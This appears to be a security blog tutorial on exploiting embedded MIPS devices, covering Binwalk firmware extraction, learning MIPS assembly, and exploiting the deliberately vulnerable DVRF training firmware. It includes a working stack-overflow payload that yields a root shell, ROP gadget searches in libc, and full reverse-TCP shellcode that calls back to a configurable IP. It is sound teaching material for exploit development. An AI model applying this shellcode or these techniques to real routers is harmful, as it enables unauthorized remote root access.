Over the course of the past few months I've been traveling around educating people on exploiting embedded devices. My slides alone aren't able to provide enough information, so I wanted to write everything out for people to digest online. The following blog post is "Part 1", which will introduce the reader to the software side of embedded devices. I decided to cover software first since most flaws reside within the software stack, ranging from binary applications to drivers. Part 2 will cover the Hardware stack with a focus on educating the reader on how JTAG actually works and how to leverage Hardware modifications to either bypass password protections or to extract secrets that may be baked into the targeted device.

Table of Contents

  1. Firmware Extraction with Binwalk
  2. Learning your target's ASM
  3. GPL
  4. Exploitation
  5. DVRFv0.3 socket_bof Solution
  6. References

Firmware Extraction with Binwalk

Once you're able to get a hold of the firmware binary that is embedded within your own device, you'll want to see what's inside. Luckily there's an open source tool called Binwalk that will parse the target binary for magic bytes which can be found here.

To give a visual representation of how this all works I'll use Binwalk to extract DVRFv0.3.

alt text

Extracting the contents of the binary image via binwalk -e file_name

alt text

Binwalk showing detected structures and their offsets within the binary.

alt text

Using xxd within vim shows that the offsets provided by binwalk for TRX and gzip match up. (Use vim to open DVRF_v03.bin and then type in :%!xxd)

alt text

Cross referencing the TRX structure that binwalk uses.

alt text

Cross referencing the gzip structure that binwalk uses.

alt text

Using xxd within vim to cross reference the offset for the SquashFS structure that was detected by binwalk.

alt text

Cross referencing the SquashFS structure that binwalk uses.

Learning your target's ASM

If you're inexperienced with the ASM of your target device, you can use C and a disassembler to quickly learn it. In my opinion, the following are the most important things to look at first when learning a new ASM:

  • Argument passing
  • Function entries and returns
  • Stack usage
  • Function calls
  • Branch conditionals

In this post I'll be showing how I personally taught myself MIPS-I ASM just by using a disassembler and C.

Argument passing

Here is a very simple C application that passes two (int) arguments to another function that returns the sum of the two integers.

Once you've cross compiled your C application you'll want to throw into a disassembler.

Note: Use any disassembler you're comfortable with. For these examples I'll be using Radare2.

While we have the graph view up we can press g and then a to look at the pass_args_to_me function.

Make sure to account for situations where the number of arguments passed to a function is greater than the number of argument register available. For example MIPS utilizes $a0 - $a3 so let's modify the code that we wrote above to have more than 4 arguments.

Just like before we'll compile this with our cross compiler and throw into Radare2 to see what the compiler generated

So now we know that if there's more than 4 arguments being passed to a function then the other arguments will be pushed onto the stack.

Function entries, calls, and returns

One thing to note on MIPS and ARM based processors is the dedicated return address register. Whenever a "Jump and Link" instruction is performed on MIPS you'll know that the address of that register will be the current address of the instruction Pointer plus 8 bytes. The 8-byte offset is due to something called pipelining since PC+4 will execute before the jump happens. Let's compile an application that calls 2 or more functions before finally returning back to main().

So remember that a call (JAL) will populate the return address register with $PC+8 but if the called function then calls another function, the $ra register will be overwritten and the address of the callee will be lost. To prevent this the return address is first saved onto the stack upon function entry. With this knowledge we will see that all functions will save the return address onto the stack except for call_two because that function does not call any other functions.

Just by analyzing the function entry we can predict whether or not the function will call another function. This is useful when trying to find memory corruption vulnerabilities that lie within the stack.

Branch Conditionals

One of the most important things a researcher needs to know when analyzing a new architecture is how the processor deals with branching. Just like before we'll be utilizing C and Radare2 to analyze this.

The following application will take an input from argv[1], cast it as an int, and see if it's less than 5.

Now let's see what the compiler will generate to satisfy our conditionals.

We can see the usage of the slti instruction whenever we do a less than comparison. Conditionals are going to be the most time consuming part of learning a new assembly language due to the vast amount of comparison operators and types. Refer to your C references to make sure you analyze all of the different ways to generate a conditional branch. For example in MIPS there are conditionals that either use signed or unsigned immediates which could potentially be abused.

Now that you've seen a few examples you should have the skill set to learn the architecture and assembly of any processor as long as you have a compiler and disassembler. If you don't then you'll unfortunately have to do it the hard way and read the developers manual for the processor and eventually design your own assembler, emulator, and disassembler.


If you're auditing a device that utilizes open source software the software will likely be licensed under the General Public License. If so then in a nutshell if the developer uses the code and compiles it, the source code must be provided! If the developer refuses to release the source then they are in violation of GPL.

With this in mind a lot of routers or other small form factor devices utilize Linux (or FreeRTOS), Busybox, and other open source software which utilize GPL. So before you begin your disassembly adventure try performing a simple Google search with the phrase "$Vendor Source Code" OR "$Product Source Code". Here are some sample source code repositories I personally found just by googling around.

Samsung Open Source Release Center Search Term: Samsung Source Code
ASUS RT-AC68U Source Code Search Term: AC-68U Source Code
Select OS to Other and you'll see the Source Code section.
Belkin Open Source Code Center Search Term: Belkin Source Code
GPL Code Center - TP-LINK Search Term: TP-Link Source Code

You should get the idea by now of how you can easily utilize Google or your favorite search engine to find the source code tarball of the device that you're auditing.


This section is going to assume that the reader has basic knowledge of exploiting memory corruption based vulnerabilities. If not then please refer to the SmashtheStack reference at the bottom of this page. SmashtheStack is where I personally started my journey into x86 exploitation.

If you're auditing a MIPS based Linux embedded device then odds are you've seen the following when analyzing your targeted binary:

As you can see the stack and heap regions are marked as executable so NX is not of worry. Even though the stack is executable a bit of ROP'ing is needed in order to get code execution. You'll also find that ASLR is not implemented in most devices so we don't have to find an information disclosure bug first.


Once you extract the firmware with Binwalk you'll want to emulate the binary in order to analyze the crash. I personally use a statically built version of QEMU that can be launched within a chroot environment of the extracted firmware. This gives the exploit developer access to the same libc library that the embedded device uses so the only thing that will change is the libc address. Sometimes creating a full QEMU system is needed because the host may not support the IO calls the binary is using resulting in a crash.

If you're using a debian-based Linux Distro then you can install QEMU via apt-get. sudo apt-get install qemu-user-static qemu-system-*

Once you have QEMU installed you'll want to copy the binary into the root directory of the extracted firmware. For this example we'll be using the MIPS Little Endian emulator for DVRF_v03. cp `which qemu-mipsel-static` ./

We'll be using the pwnable binary /pwnable/Intro/stack_bof_01 and craft a small exploit for it. We'll then take our payload and paste it over to the actual device to see what happens.

The binary's source code is as follows:

So we have a simple stack based buffer overflow vulnerability. The goal is to execute the function "dat_shell" but when analyzing the ELF file we see the following:

Entry point address: 0x00400630

Since we cannot have NULL bytes in our payload we will have to rely on performing a partial overwrite. Since this is Little Endian we can overwrite the 3 lowest bytes while keeping the highest byte set to NULL. This technique wouldn't work if the architecture was Big Endian.

To demonstrate the power of emulating your environment I will craft the payload while also showing how to grab the emulated address for all loaded libraries.

b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"

We then attach GDB locally to port 1234

(gdb) target remote Connection timed out.
(gdb) target remote
Remote debugging using
0x767b9a80 in ?? ()
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x41386741 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   81010100 7efefeff 37674136 41386741 68413967 31684130 41326841 68413368
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 00000000 00000000 ffffffff 76fff634 0040059c 00000002 004007e0
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  766e65e0 766ef270 00000000 00000000 00448cd0 76fff558 37674136 41386741
            sr       lo       hi      bad    cause       pc
      20000010 0000000a 00000000 41386740 00000000 41386741
           fsr      fir
      00000000 00739300

We see that PC is set to A8gA, which is at offset 204 which tells us that our saved instruction is at 208 bytes but we will only overwrite 3 of those 4 bytes.

We will try this again but with an end goal of making $RA 0x00424242.

b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7BBB"
(gdb) target remote
Remote debugging using

Program received signal SIGTRAP, Trace/breakpoint trap.
0x767b9a80 in ?? ()
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 00424242
            sr       lo       hi      bad    cause       pc
      20000010 0000000a 00000000 00424242 00000000 00424242
           fsr      fir
      00000000 00739300

(gdb) disass dat_shell
      Dump of assembler code for function dat_shell:
         0x00400950 <+0>:   lui gp,0x5          /*
         0x00400954 <+4>:   addiu   gp,gp,-31872           Skip over
         0x00400958 <+8>:   addu    gp,gp,t9      */
         0x0040095c <+12>:  addiu   sp,sp,-32 // This is where we need to jump to
         0x00400960 <+16>:  sw  ra,28(sp)
         0x00400964 <+20>:  sw  s8,24(sp)
         0x00400968 <+24>:  move    s8,sp
         0x0040096c <+28>:  sw  gp,16(sp)

We want to skip the instructions that modify $gp since the application will crash. So we will jump to 0x0040095c.

b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`"
Welcome to the first BoF exercise!

You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7\   @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl

We can even set a breakpoint to make sure we're jumping to the right offset within the function.

(gdb) target remote
Remote debugging using
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x767b9a80 in ?? ()

(gdb) break *0x0040095c
Breakpoint 1 at 0x40095c

(gdb) c
warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?

Breakpoint 1, 0x0040095c in dat_shell ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 0040095c
            sr       lo       hi      bad    cause       pc
      20000010 0000000a 00000000 00000000 00000000 0040095c
           fsr      fir
      00000000 00739300
(gdb) x/3i $pc
=> 0x40095c <dat_shell+12>: addiu   sp,sp,-32
   0x400960 <dat_shell+16>: sw  ra,28(sp)
   0x400964 <dat_shell+20>: sw  s8,24(sp)

We'll take this same exact payload to the embedded device and the exploit should work as expected.

\# cd /
\# ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`"
tered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag7\      @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
uid=0(root) gid=0(root)

To find the addresses of the imported libraries within gdb you need to do the following:

(gdb) set solib-search-path /<path to>/_DVRF_v03.bin.extracted/squashfs-root/lib/

(gdb) info sharedlibrary
From        To          Syms Read   Shared Object Library
0x76767b00  0x76774c20  Yes (*)     /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x766eb710  0x7671c940  Yes (*)     /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0
0x767b9a80  0x767bd800  Yes (*)     /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/ld-uClibc.so.0

To get the base address you'll want to subtract the Entry Point address from the "From" address in the table. For example the base address of libc.so.0 is found by doing the following:

b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib $ readelf -a ./libc.so.0 | more
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x6710  // Address to subtract

libc.so.0 = 0x766eb710 - 0x6710 = 0x766E5000

We then can utilize Radare2 to disassemble the library and give us the offset of the instructions.


b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ r2 ./lib/libc.so.0
 -- Remember to maintain your ~/.radare_history
[0x00006710]> aaaa
[0x00006710]> s sym.printf
[0x000179e0]>  // This is the offset we need to add in order to get to printf


(gdb) x/10i 0x766E5000+0x000179e0
   0x766fc9e0 <printf>: lui gp,0x7     // Same Instructions as Radare2 (gdb values in decimal vs hex)
   0x766fc9e4 <printf+4>:   addiu   gp,gp,-17424
   0x766fc9e8 <printf+8>:   addu    gp,gp,t9
   0x766fc9ec <printf+12>:  addiu   sp,sp,-40
   0x766fc9f0 <printf+16>:  sw  ra,32(sp)
   0x766fc9f4 <printf+20>:  sw  gp,16(sp)
   0x766fc9f8 <printf+24>:  lw  v0,-30788(gp)


   [0x000179e0]> pd
   / (fcn) sym.printf 88
   |           0x000179e0      07001c3c       lui gp, 7    // Same Instructions as seen in Radare2
   |           0x000179e4      f0bb9c27       addiu gp, gp, -0x4410
   |           0x000179e8      21e09903       addu gp, gp, t9
   |           0x000179ec      d8ffbd27       addiu sp, sp, -0x28
   |           0x000179f0      2000bfaf       sw ra, 0x20(sp)
   |           0x000179f4      1000bcaf       sw gp, 0x10(sp)
   |           0x000179f8      bc87828f       lw v0, -0x7844(gp)

So once you build your ROP chain all you need to do is replace the libc address that can be found via cat /proc/[pid]/maps. The base address there is the number you need. If the chain works in QEMU there's a 99% probability that it'll work on the actual device.

DVRFv0.3 socket_bof Solution

While designing the exercises in the DVRF project I wanted to include the most common types of vulnerabilities that I've personally seen. The most common would have to be stack based buffer overflows which can be a bit challenging to exploit if you're unfamiliar with the ASM.

The following exploit code took about 8 hours to craft because I was still learning MIPS assembly but the exploit was crafted in QEMU before taking it over to the Linksys device.

Since the stack is executable and the libraries don't shift addresses we can hardcode our ROP chain but ultimately the idea of the ROP chain is to move the value within $SP into a register that can be called. Hardcoding stack addresses is not reliable in my opinion and I prefer to use offsets instead. Below is the maps output from the pwnable binary.

# ./socket_bof 8888 &
Binding to port 8888

# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218        /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218        /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440        /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440        /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440        /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445        /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445        /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444        /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444        /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0          [stack]

Address 0x2ab3e000 is the base of the executable region of libc so this is the only value that should change from the QEMU exploit when targeting it at the device.

The entire ROP chain was used with Radare2's /R function. For example I was looking for "move t9, a1" for my last ROP Gadget and found it by doing the following:

[0x00017ae0]> /R move t9, a1
  0x0001f078           4c0082ac  sw v0, 0x4c(a0)
  0x0001f07c           21c8a000  move t9, a1
  0x0001f080           4c008424  addiu a0, a0, 0x4c
  0x0001f084           08002003  jr t9
  0x0001f088           2128c000  move a1, a2

  0x0001fbc8           380082ac  sw v0, 0x38(a0)
  0x0001fbcc           21c8a000  move t9, a1       // Offset within Libc that was used for Gadget #4
  0x0001fbd0           38008424  addiu a0, a0, 0x38
  0x0001fbd4           08002003  jr t9
  0x0001fbd8           2128c000  move a1, a2


Note: Originally I was going to write my own shellcode but was notified about a project called Bowcaster that already had the shellcode set out. But just to show the process here's the C code that I was going to make position independent.

If we look at the Bowcaster Reverse_TCP shellcode we will see that the C code above and the Bowcaster Shellcode are the same

shellcode = string.join([
        "\xfa\xff\x0f\x24", # li    t7,-6
        "\x27\x78\xe0\x01", # nor   t7,t7,zero
        "\xfd\xff\xe4\x21", # addi  a0,t7,-3
        "\xfd\xff\xe5\x21", # addi  a1,t7,-3
        "\xff\xff\x06\x28", # slti  a2,zero,-1

    # Socket SYSCall
        "\x57\x10\x02\x24", # li    v0,4183
        "\x0c\x01\x01\x01", # syscall   0x40404

        "\xff\xff\xa2\xaf", # sw    v0,-1(sp)
        "\xff\xff\xa4\x8f", # lw    a0,-1(sp)
        "\xfd\xff\x0f\x3c", # lui   t7,0xfffd
        "\x27\x78\xe0\x01", # nor   t7,t7,zero
        "\xe0\xff\xaf\xaf", # sw    t7,-32(sp)

    # Connect back port 8080
        "\x1f\x90\x0e\x3c", # lui t6,0x901f
        "\x1f\x90\xce\x35", # ori t6,t6,0x901f
        "\xe4\xff\xae\xaf", # sw    t6,-28(sp)

    # IP Address
        IP_3+IP_4+"\x0e\x3c",   # lui       t6,<ip>
        IP_1+IP_2+"\xce\x35",   # ori       t6,t6,<ip>

        "\xe6\xff\xae\xaf", # sw    t6,-26(sp)
        "\xe2\xff\xa5\x27", # addiu a1,sp,-30
        "\xef\xff\x0c\x24", # li    t4,-17
        "\x27\x30\x80\x01", # nor   a2,t4,zero

    # Socket Connect SYSCALL
        "\x4a\x10\x02\x24", # li    v0,4170
        "\x0c\x01\x01\x01", # syscall   0x40404

        "\xfd\xff\x0f\x24", # li    t7,-3
        "\x27\x78\xe0\x01", # nor   t7,t7,zero
        "\xff\xff\xa4\x8f", # lw    a0,-1(sp)
        "\x21\x28\xe0\x01", # move  a1,t7

    # Dup2 SYSCAL
        "\xdf\x0f\x02\x24", # li    v0,4063
        "\x0c\x01\x01\x01", # syscall   0x40404

        "\xff\xff\x10\x24", # li    s0,-1
        "\xff\xff\xef\x21", # addi  t7,t7,-1
        "\xfa\xff\xf0\x15", # bne   t7,s0,68 <dup2_loop>
        "\xff\xff\x06\x28", # slti  a2,zero,-1
        "\x62\x69\x0f\x3c", # lui   t7,0x6962
        "\x2f\x2f\xef\x35", # ori   t7,t7,0x2f2f
        "\xec\xff\xaf\xaf", # sw    t7,-20(sp)
        "\x73\x68\x0e\x3c", # lui   t6,0x6873
        "\x6e\x2f\xce\x35", # ori   t6,t6,0x2f6e
        "\xf0\xff\xae\xaf", # sw    t6,-16(sp)
        "\xf4\xff\xa0\xaf", # sw    zero,-12(sp)
        "\xec\xff\xa4\x27", # addiu a0,sp,-20
        "\xf8\xff\xa4\xaf", # sw    a0,-8(sp)
        "\xfc\xff\xa0\xaf", # sw    zero,-4(sp)
        "\xf8\xff\xa5\x27", # addiu a1,sp,-8

    # Execve SYSCALL
        "\xab\x0f\x02\x24", # li    v0,4011
        "\x0c\x01\x01\x01"  # syscall   0x40404
    ], '')
  • First Setup Socket (Syscall w/ Value 4183)
  • Connect to the Socket (Syscall w/ Value 4170)
  • Call dup2 for stdin/stdout redirection (Syscall w/ Value 4063)
  • Call Execve with /bin/sh (Syscall w/ Value 4011)

We can verify the syscall by looking at the disassembly of the C function in Radare2. We'll go ahead and verify the Socket system call.

| [0x400680]              |
| __GI_socket:            |
| (fcn) sym.socket 36     |
| lui gp, 5               |
| addiu gp, gp, -0x6600   |
| addu gp, gp, t9         |
| addiu sp, sp, -0x20     |
| sw ra, 0x1c(sp)         |
| sw s0, 0x18(sp)         |
| sw gp, 0x10(sp)         |
| addiu v0, zero, 0x1057  | // Hex 0x1057 is 4183 in decimal
| syscall                 |

We can see that the syscall with value 4183 is the call to the C function socket(). All of the other syscalls were verified in the same fashion.

Please also note that shellcode doesn't work 100% within user-land QEMU. The behavior you'll see with this shellcode is a TCP connection back but with an error message instead of an interactive shell. The shellcode when running on the actual device performs as expected.

One easy way to analyze the instructions that were executed during runtime is to utilize Qira. The following image shows how Qira is useful for analyzing binaries without the need for setting breakpoints.

alt text

Qira web-based output which shows all of the instructions and syscalls that were executed.

So in conclusion sometimes reinventing the wheel isn't neccessary when crafting an exploit but designing your own shellcode and shellcode encoder is good practice for exploit development. Be sure to utilize all available tools first before you decided to design everything by scratch. There's nothing wrong with utilizing existing shellcode especially if it ends up working against your target but be sure to audit any shellcode you find online before using it.


Binwalk For Extracting Binary Images
Blog - /dev/ttyS0 Embedded Device hacking blog
BowCaster MIPS exploitation framework
Buildroot For compiling your own uClibc toolchain
QEMU For emulating different CPU architectures
Radare2 Open-Source Disassembler
WikiPedia Article on GPL GPL information
SmashtheStack Wargame Server. Section IO focuses on memory corruption
Qira Timeless Debugger by Geohot
Linux MIPS Good Reference for Linux on MIPS

Your World, Secured.

Get Instant Email Alerts

Cutting-edge information security news and research delivered to your inbox.
Tech Puzzles

Try our Puzzles

Test your problem solving skills. Do you have what it takes?

Try puzzles ยป